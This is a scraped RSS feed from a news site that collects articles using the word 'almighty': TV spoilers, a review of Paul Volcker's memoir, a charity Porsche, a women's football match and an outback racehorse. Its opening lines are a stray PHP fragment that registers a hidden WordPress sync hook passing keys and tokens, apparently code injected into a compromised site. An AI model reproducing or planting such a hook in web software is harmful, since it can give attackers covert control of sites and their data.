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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); almighty – Brief News https://briefnews.eu Latest World News. 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T.R. Knight is dropping some big reveals about the Almighty’s social media account on this Sunday’s God Friended Me.

In TVLine’s exclusive sneak peek, Miles and his girlfriend Cara confront the Grey’s Anatomy alum, who plays Gideon, a man who was helping friend suggestions years before the God account found Miles. But eventually, Gideon made the decision to leave behind the Almighty quest and settle down with his family.

“After a few years of helping friend suggestions, I fell in love,” Gideon explains. “I wanted a normal life, so I walked away.”

But Miles is convinced that the God account brought him to Gideon for a reason, and that reason is to find out what his bigger purpose might be. Lucky for him, Gideon is already one step ahead of Miles and knows who’s behind the account. “It’s God, Miles,” he says like it’s the most obvious thing in the world. (To be fair, it is called the God account.)

“I don’t believe in God,” Miles responds, but it doesn’t matter. Like it or not, he’s been chosen… to be a prophet, Gideon tells him!

God Friended Me airs Sunday at 8:30 pm ET/8 pm PT on CBS. Press PLAY above to watch the sneak peek, then hit the comments with your thoughts on Gideon’s revelation and what it means for Miles.

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]]> https://briefnews.eu/god-friended-me-video-t-r-knight-knows-whos-behind-almighty-account/feed/ 0 Emmerdale spoilers: Joe Tate's whereabouts EXPOSED in almighty twist? You'll never guess https://briefnews.eu/emmerdale-spoilers-joe-tates-whereabouts-exposed-in-almighty-twist-youll-never-guess/ https://briefnews.eu/emmerdale-spoilers-joe-tates-whereabouts-exposed-in-almighty-twist-youll-never-guess/#respond Sun, 17 Mar 2019 06:29:06 +0000 http://briefnews.eu/emmerdale-spoilers-joe-tates-whereabouts-exposed-in-almighty-twist-youll-never-guess/

Emmerdale viewers have been begging for fan-favourite Joe Tate (played by Ned Porteous) to be alive and it seems that possibility is high as a new theory comes to light.

He was last seen back in October, announced dead by Graham Foster (Andrew Scarborough) following Cain Dingle (Jeff Hordley) punching him. 

Whilst there are several reasons and even some evidence to suggest he is still alive, where would he be living? 

It comes after last night’s episode which sent fans into a frenzy when Graham rang a mystery person saying: “We’ve got a problem, we’re going to need another plan.”

Many initially assumed Graham was calling Joe, but the businessman is not foolish and rarely makes silly judgements. 

Therefore it led to the suggestion that Graham was in fact calling James Tate, Kim Tate’s (Claire King) son, who has not been seen in Emmerdale since his departure as a toddler back in 1999, 20 years ago. 

Taking this one step further, a viewer took to Twitter and commented: “Okay random theory which makes no sense but oh well, Graham got rid of Joe near the arches, could he have put him on a train and told James Tate to meet him at the station? James could be living abroad and looking after Joe?” 

Soap fans will remember how Graham supposedly disposed of Joe’s body; he drove to an unknown location, which seemed to be near a train track, as there were arches which formed a viaduct.

Could Graham have got Joe out and sneaked him onto a nearby train, or dropped Joe off at a nearby train station to leave the area quickly but unsuspiciously? 

The second part of the fan’s theory suggests James is living abroad, can be backed up with a tease actress Claire dropped when discussing her character’s return to the soap back in October. 

During a conversation with Soap Bubble, Claire said: “I had this theory ages ago; she [Kim] probably married someone or nicked some money off a very wealthy man, ran off to the Costa Del Sol, committed loads of crime. In fact, she was probably with James committed a lot of crime, the two of them a bit sort of Bonnie and Clyde.” 

Does this suggest James was left in Spain and potentially still lives there? 

Whilst there is a chance Joe has never met his uncle, it is likely that Graham knows all about James considering how close he and Kim are. 

To add to this, Claire also revealed to Digital Spy how her character had “asked Graham to try and find him [James]”. 

With a potential contact number, or even address, Graham could have easily got in touch with James and asked him to help Joe out. 

But, there is a question as to whether or not James would do such a thing. 

Considering how he was treated by his mother, “sent off to school” by which he responded to by “running away”, it seems the pairs relationship was not all that harmonious. And viewers know Kim only cares about herself. 

Therefore, should James hate his mother, he could very well help Graham and Joe out. Could the two young Tate’s return to Emmerdale and confront Kim in an almighty showdown? 

Express.co.uk ran an exclusive poll and asked readers: “How would you like Joe Tate to return to Emmerdale?” 

Whilst the majority chose a romantic reuniting with Debbie Dingle (Charley Webb), the minority – 626 out of 13,000 votes – did opt for him to comeback with James. 

Emmerdale airs weeknights at 7pm on ITV. 

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]]> https://briefnews.eu/emmerdale-spoilers-joe-tates-whereabouts-exposed-in-almighty-twist-youll-never-guess/feed/ 0 Paul Volcker’s Guide to the Almighty Dollar https://briefnews.eu/paul-volckers-guide-to-the-almighty-dollar/ https://briefnews.eu/paul-volckers-guide-to-the-almighty-dollar/#respond Wed, 31 Oct 2018 02:44:54 +0000 http://briefnews.eu/paul-volckers-guide-to-the-almighty-dollar/ Paul Volcker’s 6-foot-7-inch frame was draped over a chaise longue when I spoke with him recently in his Upper East Side apartment, in Manhattan. He is in his 91st year and very ill, and he tires easily. But his voice is still gruff, and his brain is still sharp.

We talked about his forthcoming memoir, Keeping at It: The Quest for Sound Money and Good Government—about why he wrote the book and the lessons he hopes to impart. Volcker is not a vain man, but he knows that his public life was consequential, and he wants posterity to get it right. He also does not mince words. In our conversation, he assailed the “greed and grasping” of the banks and corporate leadership, and the gross skewing of income distribution in America.

Keeping at It, written with Christine Harper, an editor at Bloomberg, is primarily the chronicle of Paul Volcker’s public life, which was spent in the thin air of global finance. After graduating from Princeton in 1949, he studied economics at Harvard and then in London, where he focused on the operations of the Bank of England. For the next 20 years, his career cycled between the U.S. Treasury and the Chase Manhattan Bank, with a particular focus on monetary affairs.

Few Americans had heard of Volcker until he was nominated, in 1979, to be chairman of the Federal Reserve Board by President Jimmy Carter, a post he held for the next eight years. During that time, he almost single-handedly pulled the nation back from a near-Weimar-scale financial collapse. If there were a Nobel Prize for government service, Paul Volcker’s name would surely be on the short list.

Volcker’s career spanned nearly the entire postwar era. World War II had ended with the United States effectively controlling the major part of the world’s wealth. In a supreme act of statesmanship, Washington offered to provide trade credits and other aid to allies and former enemies alike, so long as they adopted reasonably democratic values. The American dollar effectively became the world’s currency at its 1934 peg—$ 35 per ounce of gold. That worked splendidly while America’s allies were in recovery mode, but by the 1960s most industrialized countries were competitive with the United States. Swiss currency traders, the nefarious “gnomes of Zurich,” realized that America’s gold reserves could no longer support its dollar issuance. So they started testing the dollar with sudden spasms of dollar sales in the hope of forcing a devaluation.

The classic method of meeting an attack on a currency is to raise interest rates to increase the attractiveness of holding it. But this was the early 1960s, and John F. Kennedy had promised to “get this country moving again.” Higher interest rates would have scuttled that ambition. The Treasury Department hit on a temporizing solution: a tax on foreign security purchases to curb the foreign traders’ enthusiasm for holding dollars. Volcker, then a deputy undersecretary at Treasury, drafted the enabling legislation. It did not take long, however, for traders to engineer an end run around the new tax by simply keeping their dollars overseas. Thus was born the “Eurodollar,” which would proliferate wildly, quite out of the control of the Federal Reserve.

Volcker returned to Chase for several years before rejoining Treasury as undersecretary for monetary affairs in the Nixon administration. The war in Vietnam—paid for by deficit spending rather than new taxes—had triggered serious inflation. Oil imports were surging, and currency traders smelled blood. But Richard Nixon had a genius for the bold stroke. Along with John Connally, his outsize Treasury secretary, Nixon in August 1971 brought virtually his entire economics team to Camp David, where he announced that he would cut taxes, impose wage and price controls, levy a tax surcharge on all imports, and rescind the commitment to redeem dollars in gold. In his 1975 book, Before the Fall, Nixon’s über-speechwriter, William Safire, recalled, “Volcker was undergoing an especially searing experience; he was schooled in the international monetary system, almost bred to defend it.” Everyone he had worked with “trusted each other in crisis to respect the rules and cling to the few constants like the convertibility of gold.” Volcker was charged with drafting the announcement of Nixon’s new economic policies, but his moroseness showed through. Safire did the final draft, proclaiming “a triumph and a fresh start.” About Volcker himself, Safire wrote, “It was not a happy weekend for him.”

As the ’70s wound down, the dollar became a debased currency—but one that, for want of an alternative, still served as the world’s most important reserve currency. Nations might make other provisions, but that could take years. To make matters worse, an ideological cleavage between Milton Friedman’s “freshwater” Chicago monetarists and East and West Coast “saltwater” economists added an unusual testiness to the board’s discussions. Monetarists looked to the supply of money, which is the multiple of physical money—M1 in the jargon—times its velocity, or turnover rate. Friedman’s rigid version of monetarism assumed that the velocity of money was fairly stable over time, so policy makers could ignore it and steer solely by M1. (Indeed, Friedman also believed that you could eliminate the Federal Reserve Board.) Traditionalists, such as Volcker and most other saltwater economists, looked first to interest rates as a policy tool.

By the time Volcker was sworn in at the Fed, in 1979, inflation in the U.S. was running about 1 percent a month, and rising. In 1973, the OPEC countries had forsaken the hallowed $ 3 peg for a barrel of oil—tripling their prices and tripling them again six years later. By then, spot prices for gold were bouncing around from $ 235 to $ 578 per ounce. When the U.S. Treasury, in the early 1980s, needed to raise money, it would be forced to float bond issues in marks and yen, so far had the almighty dollar fallen.

Two months into his new job, Volcker attended a conference of central bankers in Belgrade and was shocked to find himself harangued by his peers. As he explains in his memoir, German Chancellor Helmut Schmidt, who was a friend, lectured Volcker for almost an hour “about waffling American policymakers who had let inflation run amok and undermined confidence in the dollar.” A shaken Volcker cut his trip short, got his fellow Fed members on board, and called an unusual evening press conference. Most dramatically, he stressed that he was shifting his key policy tool to monetarism. As a hedge, he also raised the Fed’s discount rate by a full point. The New York Times editorialized about the rate hike under the headline “Mr. Volcker’s Verdun,” noting that when it came to holding the line on inflation, the Fed chairman’s message echoed that of Marshal Pétain: “They shall not pass.”

At first, the experiment seemed to work. The objective was to reduce the money supply and thereby bring down prices. By January 1980, however, the numbers were going haywire. Perversely, inflation took off—it reached an annual rate of almost 15 percent. The Fed’s technical staff ruefully admitted that Friedman’s money-supply theory was not precise enough to form a basis for effective policy. The Fed board maintained its monetarist rhetoric, but Volcker shifted back to raising interest rates in order to wring inflation from the economy. This was language that all businesspeople understood. The bank prime rate eventually jumped to 21.5 percent, T-bills hit 17 percent, and prime mortgages were at 18 percent. Those rates were the highest the country had ever seen. Volcker went on a grueling speaking tour to bolster the case for what he was doing.

By the time Ronald Reagan was inaugurated, in 1981, the U.S. economy had slipped into a deep recession, one for which the Volcker Shock was largely blamed. Unemployment neared 11 percent. Volcker became a target of popular anger. One welcome ray of sunshine came from the White House, with Reagan giving full support to the continuation of Volcker’s program. (Volcker later said, “I don’t kiss men, but I was tempted.”) Another came from the American Home Builders Association, in early 1982. Its industry had been badly hit by the recession, but Volcker gave a tough speech to the association about staying the course against inflation, and was amazed to get a standing ovation.

Inflation—blessedly—broke in mid-1982. The second half of the year saw a flat consumer price index. Real GDP for 1983 was a very respectable 4.6 percent and  a blistering 7.2  in 1984. By 1986 annual inflation had come down to only 2 percent. The crisis was effectively over. After 1982, Americans enjoyed the lowest interest rates (with a blip here and there) among the major industrial countries, and interest rates are low to this day. The second half of the 1990s was one of the most prosperous periods in history—there was a twin boom in high technology and in housing. Volcker attributes the crash that came in both industries to the same “greed and grasping” he cited when we spoke.

Volcker served two terms as the chairman of the Fed, giving way to Alan Greenspan in 1987. By that time, the challenges confronting the Fed had moved to new arenas—like the reckless “oil lending” by the big American banks to Mexico, Brazil, Argentina, and a string of smaller countries. In Keeping at It, Volcker writes, “Looking back, I see Latin America today as a sad culmination of hard-fought, constructive efforts to deal with a debt crisis that, aided and abetted by reckless bank lending practices, grew out of a chronic absence of suitably disciplined economic policies.” Volcker will never escape a Fed-inflected prose style, but his assessment is spot-on.

Retirement has treated Volcker well. He did some teaching and loved it. He spent 10 contented years as the chief executive of Wolfensohn & Company, an old-fashioned investment bank, which mostly gave advice on mergers and acquisitions. When he retired, he had plenty of time for nonprofit activities and was much in demand. He chaired inquiries into the ownership of Jewish art sequestered in Swiss bank vaults; the massive theft from food and medical programs after the Iraq War; and corruption in the World Bank.

Volcker also played an important role in the cleanup after the 2008–2009 crash. His advice was widely solicited, if not always followed. In his memoir, he describes sitting at a conference and listening to bankers warn that new regulations must not inhibit trading and “innovation.” He finally exploded: “Wake up, gentlemen. I can only say that your response is inadequate. I wish that somebody would give me some shred of neutral evidence about the relationship between financial innovation recently and the growth of the economy, just one shred of information.” His lasting contribution from this period is the so-called Volcker Rule, which bars traders from taking risky positions with depositors’ funds, and which he summarizes as “Thou shall not gamble with the public’s money.”

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Keeping at It is not a tell-all book. Volcker’s subject matter is economic policy, and his praise or criticism is almost entirely directed at specific ideas and actions. His first wife, Barbara Bahnson, died in 1998. In 2010, he married his longtime assistant, Anke Dening. There is not much of a personal nature in the book, and yet, unwittingly, it paints an accurate personal portrait. The picture that emerges is of a man of granitic integrity, committed to what he perceives as wise policies—committed, that is, to what he calls The Verities: stable prices, sound finance, and good government.

The secret of Paul Volcker was his father. Paul Adolph Volcker Sr. was almost as tall as his son. He was an engineer, with a degree from Rensselaer Polytechnic Institute, and he went on to become a city manager. The city he was most identified with was Teaneck, New Jersey, a municipality that had fallen prey to a corrupt political machine. It was the kind of challenge that Paul Sr. leaped at. In his son’s memoir, Paul Sr. is always working; even after a long day, he drove around his modest empire and made note of broken traffic lights, spilled garbage, and other petty violations. They were not petty to him. The city fathers once tried to can him for hiring a professional police chief. They couldn’t fire him, but they could stop paying him. Paul Sr. went to court and got his pay—and got his police chief. Exactly what his son would have done.

There are few people like Paul Volcker in the U.S. government today, or in business, for that matter—respected and trusted by everyone, whatever the disagreements, and motivated by public service. Volcker reveled in his middle-class status. He notes in his memoir that, in the 1960s and 1970s, Washington was “mostly populated by middle-class professionals, including families of civil servants and members of Congress,” and that “there wasn’t great wealth.” Now, he writes, Washington is “dominated by wealth” and by “lobbyists who are joined at the hip” with people in government, whether on the Hill or in the executive branch.

As a result, he says simply, “I stay away.”

]]> https://briefnews.eu/paul-volckers-guide-to-the-almighty-dollar/feed/ 0 God Friended Me Video: Miles Tries to Expose the Almighty With a 'Poke' https://briefnews.eu/god-friended-me-video-miles-tries-to-expose-the-almighty-with-a-poke/ https://briefnews.eu/god-friended-me-video-miles-tries-to-expose-the-almighty-with-a-poke/#respond Sun, 14 Oct 2018 03:30:24 +0000 http://briefnews.eu/god-friended-me-video-miles-tries-to-expose-the-almighty-with-a-poke/

God Friended Me‘s Miles turns to — what else? — social media to unmask who’s behind his new Facebook pal’s account in TVLine’s exclusive video from this Sunday’s episode (airing at 8:30 pm ET/8 pm PT on CBS).

After losing half his podcast listeners, Miles is ready to get his life back, and that means flushing out whoever’s pretending to be the Almighty. Lucky for Miles, his BFF Rakesh has a pretty decent idea: “We could ‘poke’ him” on Facebook, Rakesh suggests, to see if one of the nearby taco truck patrons — “God” is a fan, apparently — reacts to their phone.

The plan goes awry, however, when a young boy bumps into Miles and steals his wallet. Could it be more than just a random theft? “The God account ‘liked’ the taco truck. I come down here, ‘poke’ the account, basically announcing that I’m here, and seconds later, this kid steals my wallet?” Miles points out just as he receives a new friend suggestion. He then “decides to turn the tables” and have his new online pal, who’s a PI, “track down the thief, who Miles believes is linked to the account,” per the official description.

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]]> https://briefnews.eu/god-friended-me-video-miles-tries-to-expose-the-almighty-with-a-poke/feed/ 0 The almighty air-cooled Porsche 911 Turbo has returned, sort of https://briefnews.eu/the-almighty-air-cooled-porsche-911-turbo-has-returned-sort-of/ https://briefnews.eu/the-almighty-air-cooled-porsche-911-turbo-has-returned-sort-of/#respond Fri, 24 Aug 2018 03:38:03 +0000 http://briefnews.eu/the-almighty-air-cooled-porsche-911-turbo-has-returned-sort-of/ Porsche 911 993 Project Gold (8)Porsche

  • Porsche built a single brand-new 993-generation 911 Turbo dubbed Project Gold.
  • The 993 was the last generation of the Porsche 911 sports car to be powered by air-cooled engines.
  • The Project Gold Porsche 911 will be powered by a 450 horsepower, twin-turbocharged flat-six from the 993 Turbo S.
  • Porsche will auction off the Project Gold 911 in October with proceeds going to charity.

The air-cooled Porsche 911 Turbo remains one of the all-time great sports cars two decades after the last one rolled out of the company’s plant in Stuttgart, Germany. The 993, the final generation of the 911 to use air-cooled engines, remains one of the most sought-after Porsches in the world. With two-decade-old 911 Turbos fetching upwards of $ 200,000. 

Now, Porsche is bringing back its old warhorse for one more tour of duty to celebrate the sports car maker’s 70th anniversary. 

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]]> https://briefnews.eu/the-almighty-air-cooled-porsche-911-turbo-has-returned-sort-of/feed/ 0 Matildas survive almighty Asian Cup scare https://briefnews.eu/matildas-survive-almighty-asian-cup-scare/ https://briefnews.eu/matildas-survive-almighty-asian-cup-scare/#respond Tue, 17 Apr 2018 20:26:53 +0000 http://briefnews.eu/matildas-survive-almighty-asian-cup-scare/ AUSTRALIA was just four minutes from a major international disaster until stopper Alanna Kennedy saved the Matildas from a premature exit at the AFC Asian Cup in Jordan.

And it had to be Sam Kerr to take Australia to the Asian Cup final when she scored the decisive penalty in a shootout after McKenzie Arnold saved three spot kicks from a Thai team that held the Matildas to a 2-2 draw after 120 minutes.

Australia won the shootout 3-1 after the Matildas were on the brink of a huge semi-final shock loss to a team they belted 5-0 less than a month ago in Perth.

Thailand was on its way to stunning Australia, leading 2-1 at King Abdullah II Stadium on Wednesday until Kennedy’s powerful header from an Elise Kellond-Knight corner took the tie into extra-time.

The Thais didn’t crumble in that final 30 minutes but a miss from substitute Kerr in the 118th minute was a tell tale sign that Australia was having a horror night.

Australia will now march towards a third Asian Cup final on Friday at Amman Stadium but not before launching an internal inquiry as to how a team which had been lauded as a future FIFA World Cup champion next year in France was tested by a minnow of football.

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All of the first three goals were scored by the Thai team.

Thailand being reduced to 10 players in the 87th minute when Wilaiporn Boothduang was expelled for picked up a second yellow card added to more misery on a night which will remain long in the memory for all the wrong reasons despite the Australian win.

Thailand was all so close ousting the Matildas from the Asian Cup when Thongsombut Rattikan handed Thailand a 2-1 lead in the 62nd minute after pouncing on a comedy of errors in the 63rd minute.

It all started when a simple back pass from Kyah Simon to Arnold turned into an assist then she skied the ball off the side of her boot, Kennedy couldn’t control the leather on the edge of the box before Thongsombut rifled the ball into the top corner.

Silawan Intamee then forced a save from Arnold in the 67th minute when she parried a 12m effort before Emily van Egmond was introduced off the bench in a bid to rescue the clash.

Kerr was also unloaded off the pine in the 70th minute for Emily Gielnik but with the clock ticking down the nation’s sharpshooter watched an effort sail just past the upright in the 80th minute.

The first 45 minutes was arguably the worst since coach Alen Stajcic took over in 2014, four weeks before leading the Matildas to an Asian Cup loss to Japan in Vietnam.

The opening Matildas goal papered the first half cracks.

It was an own goal from Thailand’s Kanchanaporn Saenkhun that break the deadlock when her attempt to clear an Emily Gielnik cross from a short corner involving skipper Lisa de Vanna skimmed off her head and into the top corner in the 17th minute.

It appeared to be the goal which would settle a very nervous Matildas but instead Thailand took the game to the favourites with an equaliser which stunned Australia.

When Kanjana Sung-Ngoen looped a 30m ball over the outstretched arms of Arnold after the Matildas were stretched from a hopeful long ball over a high defensive line to the striker in the 20th minute, disbelief engulfed the Australian camp.

It was just the second goal Thailand had scored in six previous meetings and one which appeared to affect the Matildas psychologically.

AFC Asian Cup semi-finals

Australia 2 (Kanchanaporn Saenkhun OG 17m, Alanna Kennedy 91m) 2 Thailand (Kanjana Sung-Ngoen 20m, Thongsombut Rattikan 63m) (Australia win 3-1 on a shootout AET) at King Abdullah II Stadium — Referee. Edita Mirabidova (Uzbekistan)

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]]> https://briefnews.eu/matildas-survive-almighty-asian-cup-scare/feed/ 0 Bush battler’s almighty Rise https://briefnews.eu/bush-battlers-almighty-rise/ https://briefnews.eu/bush-battlers-almighty-rise/#respond Fri, 31 Mar 2017 18:19:35 +0000 http://briefnews.eu/bush-battlers-almighty-rise/

Stoneyrise and the odyssey to Randwick0:37

Three days drive away from Sydney, is the 137,00 acre home to Stoneyrise. The bush racing cult hero, reared by James Hatch, that is set to take the home of Australian racing by storm.

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WARNING. SATURDAY TELE ONLY … DO NOT USE BEFORE SPEAKING TO NIC GIBSON ON DAILY TELEGRAPH PIC DESK … NO ONLINE UNTIL SATURDAY 1/4/17….. Raring to go. Trainer James hatch leads his frisky Stoneyrise racehorse out for an afternoon walk on his remote Wombah Station 200km west of Bourke. Pic Nathan Edwards

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IN the outback, the only sound is a deafening silence. The landscape is flat and dusty, stretching all the way to the horizon, the blazing sun scorching the earth.

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This isn’t the back of Bourke. It’s another 200km past it — but this is where James Hatch, a 60-year-old farmer and hobby trainer, prepares Stoneyrise, the little horse with a big heart who is becoming a bush racing cult hero.

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Hatch’s property, all 55,000 hectares of it, is near Hungerford, a drought-affected town close to the NSW-Queensland border.

This is about as far removed as you can get from the manicured lawns and cacophony of 20,000-plus race fans at world famous Royal Randwick on Saturday for Day One of The Championships.

But Hatch and Stoneyrise have made the three-day trek to Sydney to race in the $ 400,000 Country Championships Final.

Raring to go: Trainer James Hatch leads Stoneyrise out for an afternoon stroll on his remote property 200km west of Bourke. Picture: Nathan Edwards

Raring to go: Trainer James Hatch leads Stoneyrise out for an afternoon stroll on his remote property 200km west of Bourke. Picture: Nathan EdwardsSource:News Corp Australia

This is the quintessential tale of the Aussie battler rubbing shoulders with the rich and powerful in the Sport of Kings — and on their turf.

Hatch normally starts Stoneyrise in racing outposts like Noorama, Quilpie and Louth. The trainer has never had a starter at Randwick.

“I went to Randwick once, back in the ‘80s,’’ Hatch said. “That’s a fair while ago so I’m not real sure how to get there but we will find it.’’

James Hatch and Stoneyrise: “All of Bourke is getting behind us, I think half the town is coming to Randwick.’’ Picture: Nathan Edwards

James Hatch and Stoneyrise: “All of Bourke is getting behind us, I think half the town is coming to Randwick.’’ Picture: Nathan EdwardsSource:News Corp Australia

Hatch’s wife, Cheryl, chimed in. “You know, James hasn’t had a holiday in 25 years,’’ she said.

“We had a family wedding in Fiji last year but James stayed behind because he had to take care of the sheep and cattle, and his horses.’’

Stoneyrise has another thoroughbred, nearly 4000 sheep and 600 cattle as company on the vast Hatch outback property.

But it is in this harsh, desolate environment that Stoneyrise is happiest — and you get the impression his trainer is too.

“When we took ‘Stoney’ to Dubbo for the (Country Championship) Qualifier it took us two days to get there,’’ Hatch said.

James Hatch works Stoneyrise on a dried lake bed before confronting a heavy track at Randwick, a racing surface he has never had to cope with in his 14-start career. Picture: Nathan Edwards

James Hatch works Stoneyrise on a dried lake bed before confronting a heavy track at Randwick, a racing surface he has never had to cope with in his 14-start career. Picture: Nathan EdwardsSource:News Corp Australia

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“I don’t think he was really keen on things at Dubbo. He would not have had a cup full of water in him. He is a bugger like that.

“He just doesn’t like being away from home, he doesn’t like sleeping in someone else’s bed.’’

Hatch trains Stoneyrise on a dry lake bed near his homestead.

Stoneyrise is tied to an old Ford Festiva Hatch he uses only on the property — it would never pass a motor vehicle registration check — and the gelding gallops along at a steady pace around a 2000m track.

The gang’s all here: Hatch, accompanied by his trusty pooch, uses his old Festiva to give “Stoney” a run on the property’s 2000m track. Picture: Nathan Edwards

The gang’s all here: Hatch, accompanied by his trusty pooch, uses his old Festiva to give “Stoney” a run on the property’s 2000m track. Picture: Nathan EdwardsSource:News Corp Australia

“The lake bed is usually dry but it does have some ‘give’ in it so that helps when you work the horses,’’ Hatch said.

“We had some rain last winter but it has been a bit ordinary since, hasn’t rained out here for weeks. It has been real hot the last few months, we’ve had a few days in summer when it has been around 50C.

“All that rain you are getting in Sydney — we can see the clouds but that is about it.’’

Hatch said he will put a saddle on Stoneyrise about once a week. “But with me he has to carry about 100kg,’’ the trainer said.

James Hatch and “Stoney” spend some quality time together on the dried lake bed as they put the final touches on their preparation for their Randwick assignment. Picture: Nathan Edwards

James Hatch and “Stoney” spend some quality time together on the dried lake bed as they put the final touches on their preparation for their Randwick assignment. Picture: Nathan EdwardsSource:News Corp Australia

Stoneyrise will have to race on a heavy track at Randwick, a racing surface he has never had to cope with in his 14-start career.

“He has never seen a wet track in his life so that is an unknown for us,’’ Hatch said. “But he is bred to handle the wet so we are hoping.’’

Hatch spent $ 7000 to buy Stoneyrise as a yearling and the gelding has won six of his 14 starts, earnings stakes of more than $ 110,000. First prizemoney in the Country Championships Final is $ 210,000.

Big city, here we come: James and Cheryl Hatch with their little horse Stoneyrise on their Hungerford property before their long journey south. Picture: Nathan Edwards

Big city, here we come: James and Cheryl Hatch with their little horse Stoneyrise on their Hungerford property before their long journey south. Picture: Nathan EdwardsSource:News Corp Australia

LET’S GO RACING: KNOW YOUR TRACKSIDE LINGO

“We didn’t pay a lot for him, he was very small as a yearling and he is still small, but he looks a good buy now,’’ Hatch said.

“To have a runner at Randwick on such a really good day like this is going to be an experience. All of Bourke is getting behind us, I think half the town is coming to Randwick.’’

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